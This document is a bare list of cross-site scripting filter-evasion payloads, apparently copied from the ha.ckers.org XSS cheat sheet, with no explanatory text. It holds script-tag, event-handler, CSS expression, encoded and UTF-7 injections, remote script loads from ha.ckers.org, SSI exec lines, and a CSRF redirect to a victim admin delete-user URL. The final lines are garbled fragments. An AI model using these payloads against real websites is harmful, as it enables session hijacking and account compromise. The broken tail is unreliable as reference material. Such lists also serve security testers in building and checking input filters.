LOL
-LOL
-
-
-<SCRIPT>alert(/XSS/.source)</SCRIPT>
-\\";alert('XSS');//
-</TITLE><SCRIPT>alert(\"XSS\");</SCRIPT>
-<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">
-<BODY BACKGROUND=\"javascript:alert('XSS')\">
-<BODY ONLOAD=alert('XSS')>
-<IMG DYNSRC=\"javascript:alert('XSS')\">
-<IMG LOWSRC=\"javascript:alert('XSS')\">
-<BGSOUND SRC=\"javascript:alert('XSS');\">
-<BR SIZE=\"&{alert('XSS')}\">
-<LAYER SRC=\"http://ha.ckers.org/scriptlet.html\"></LAYER>
-<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">
-<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">
-<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
-<META HTTP-EQUIV=\"Link\" Content=\"<http://ha.ckers.org/xss.css>; REL=stylesheet\">
-<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>
-<XSS STYLE=\"behavior: url(xss.htc);\">
-<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS
-<IMG SRC='vbscript:msgbox(\"XSS\")'>
-<IMG SRC=\"mocha:[code]\">
-<IMG SRC=\"livescript:[code]\">
-žscriptualert(EXSSE)ž/scriptu
-<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">
-<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">
-<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\"
-<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>
-<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>
-<TABLE BACKGROUND=\"javascript:alert('XSS')\">
-<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">
-<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">
-<DIV STYLE=\"background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029\">
-<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">
-<DIV STYLE=\"width: expression(alert('XSS'));\">
-<STYLE>@im\port'\ja\vasc\ript:alert(\"XSS\")';</STYLE>
-<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">
-<XSS STYLE=\"xss:expression(alert('XSS'))\">
-exp/*<A STYLE='no\xss:noxss(\"*//*\");
-xss:ex/*XSS*//*/*/pression(alert(\"XSS\"))'>
-<STYLE TYPE=\"text/javascript\">alert('XSS');</STYLE>
-<STYLE>.XSS{background-image:url(\"javascript:alert('XSS')\");}</STYLE><A CLASS=XSS></A>
-<STYLE type=\"text/css\">BODY{background:url(\"javascript:alert('XSS')\")}</STYLE>
-<!--[if gte IE 4]>
-<SCRIPT>alert('XSS');</SCRIPT>
-<![endif]-->
-<BASE HREF=\"javascript:alert('XSS');//\">
-<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>
-<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>
-<EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED>
-<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>
-a=\"get\";
-b=\"URL(\\"\";
-c=\"javascript:\";
-d=\"alert('XSS');\\")\";
-eval(a+b+c+d);
-<HTML xmlns:xss><?import namespace=\"xss\" implementation=\"http://ha.ckers.org/xss.htc\"><xss:xss>XSS</xss:xss></HTML>
-<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]><![CDATA[cript:alert('XSS');\">]]>
-</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
-<XML ID=\"xss\"><I><B><IMG SRC=\"javas<!-- -->cript:alert('XSS')\"></B></I></XML>
-<SPAN DATASRC=\"#xss\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"></SPAN>
-<XML SRC=\"xsstest.xml\" ID=I></XML>
-<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
-<HTML><BODY>
-<?xml:namespace prefix=\"t\" ns=\"urn:schemas-microsoft-com:time\">
-<?import namespace=\"t\" implementation=\"#default#time2\">
-<t:set attributeName=\"innerHTML\" to=\"XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>\">
-</BODY></HTML>
-<SCRIPT SRC=\"http://ha.ckers.org/xss.jpg\"></SCRIPT>
-<!--#exec cmd=\"/bin/echo '<SCR'\"--><!--#exec cmd=\"/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'\"-->
-<? echo('<SCR)';
-echo('IPT>alert(\"XSS\")</SCRIPT>'); ?>
-<IMG SRC=\"http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode\">
-Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
-<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=<SCRIPT>alert('XSS')</SCRIPT>\">
-<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
-<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
-<SCRIPT =\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
-<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
-<SCRIPT \"a='>'\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
-<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
-<SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
-<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
-<A HREF=\"http://66.102.7.147/\">XSS</A>
-<A HREF=\"http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\">XSS</A>
-<A HREF=\"http://1113982867/\">XSS</A>
-<A HREF=\"http://0x42.0x0000066.0x7.0x93/\">XSS</A>
-<A HREF=\"http://0102.0146.0007.00000223/\">XSS</A>
-<A HREF=\"htt p://6 6.000146.0x7.147/\">XSS</A>
-<A HREF=\"//www.google.com/\">XSS</A>
-<A HREF=\"//google\">XSS</A>
-<A HREF=\"http://ha.ckers.org@google\">XSS</A>
-<A HREF=\"http://google:ha.ckers.org\">XSS</A>
-<A HREF=\"http://google.com/\">XSS</A>
-<A HREF=\"http://www.google.com./\">XSS</A>
-<A HREF=\"javascript:document.location='http://www.google.com/'\">XSS</A>
-<A HREF=\"http://www.gohttp://www.google.com/ogle.com/\">XSS</A>
-<iframe src=http://ha.ckers.org/scriptlet.html>
-<IMG SRC=\"javascript:alert('XSS')\"
-<SCRIPT SRC=//ha.ckers.org/.js>
-<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>
-<<SCRIPT>alert(\"XSS\");//<</SCRIPT>
-<SCRIPT/SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
-<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(\"XSS\")>
-<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
-<IMG SRC=\" javascript:alert('XSS');\">
-perl -e 'print \"<SCR\0IPT>alert(\\"XSS\\")</SCR\0IPT>\";' > out
-perl -e 'print \"<IMG SRC=java\0script:alert(\\"XSS\\")>\";' > out
-<IMG SRC=\"jav
ascript:alert('XSS');\">
-<IMG SRC=\"jav
ascript:alert('XSS');\">
-<IMG SRC=\"jav ascript:alert('XSS');\">
-<IMG SRC=javascript:alert('XSS')>
-<IMG SRC=javascript:alert('XSS')>
-<IMG SRC=javascript:alert('XSS')>
-<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
-<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\">
-<IMG SRC=`javascript:alert(\"RSnake says, 'XSS'\")`>
-<IMG SRC=javascript:alert("XSS")>
-<IMG SRC=JaVaScRiPt:alert('XSS')>
-<IMG SRC=javascript:alert('XSS')>
-<IMG SRC=\"javascript:alert('XSS');\">
-<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
-'';!--\"<XSS>=&{()}
-';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
-';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//-->">'>
-'';!--"
=&{()}
-
-;)
-)
-)
-)
-![]()
">
-;)
-
-
-<
-
-\";alert('XSS');//
-
-¼script¾alert(¢XSS¢)¼/script¾
-
-
-
-